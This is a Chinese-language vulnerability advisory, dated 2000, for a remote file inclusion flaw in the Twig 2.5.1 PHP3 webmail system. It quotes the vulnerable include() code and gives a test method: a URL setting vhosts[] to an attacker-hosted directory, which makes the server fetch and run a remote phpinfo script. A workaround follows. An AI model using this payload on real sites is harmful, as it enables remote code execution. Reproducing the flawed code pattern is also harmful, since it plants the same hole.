Twig 执行任意远程脚本漏洞
发布日期:2000-11-29
更新日期:2000-11-29
受影响系统:
Christopher Heschong Twig 2.5.1
描述:
Twig是用PHP3写的WWW方式的电子邮件系统。2.5.1版以及某些早期版本的Twig存
在一个设计上的漏洞,远程攻击者利用该漏洞可以访问到WWW服务器上的非授权本地
资源。
Twig附带了一个脚本index.php3,该脚本中使用一个名为vhosts[]的变量,包含了
WWW服务器上各个虚拟主机入口。index.php3根据vhosts[]变量获取php3 include文
件。不幸的是该变量在被引用前未被初始化,远程攻击者可以设置该变量为任意值,
如果所指向的恶意主机存在有效的php3 include文件,其中的脚本内容将被加载/执
行。
有问题的代码部分:
<quote>
// Allow for virtual hosting
$config_dir = "config";
if( $vhosts[$SERVER_NAME] )
$config_dir = $vhosts[$SERVER_NAME];
include( $config_dir . "/config.inc.php3" );
include( $config_dir . "/images.inc.php3" );
}
</quote>
<* 来源:Joao Gouveia (
cercthar@teleweb.pt) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
1. 在一个不支持php3的免费主页站点申请一个帐号,上传一个config.inc.php3文件,
里面包含"<? phpinfo(); ?>"(显示当前主机中的php信息)
2. 在使用有问题的twig的站点提交类似下列URL:
http://twig.vuln.site/index.php3?vhosts[twig.vuln.site]=http://free.host.machine/~mydir/
3. 问题主机将会包含进攻击者提供的config.inc.php3并予以执行。
建议:
临时解决办法:
Shaun Clowes提供了一个临时解决方法:
在Twig的config/config.inc.php3的开头增加下列两行代码:
unset($config);
unset($vhosts);
出于安全考虑,也在config/dbconfig.inc.php3的开头增加下列代码:
unset($dbconfig);
厂商补丁:
暂无。
浏览次数:5329
严重程度:0(网友投票)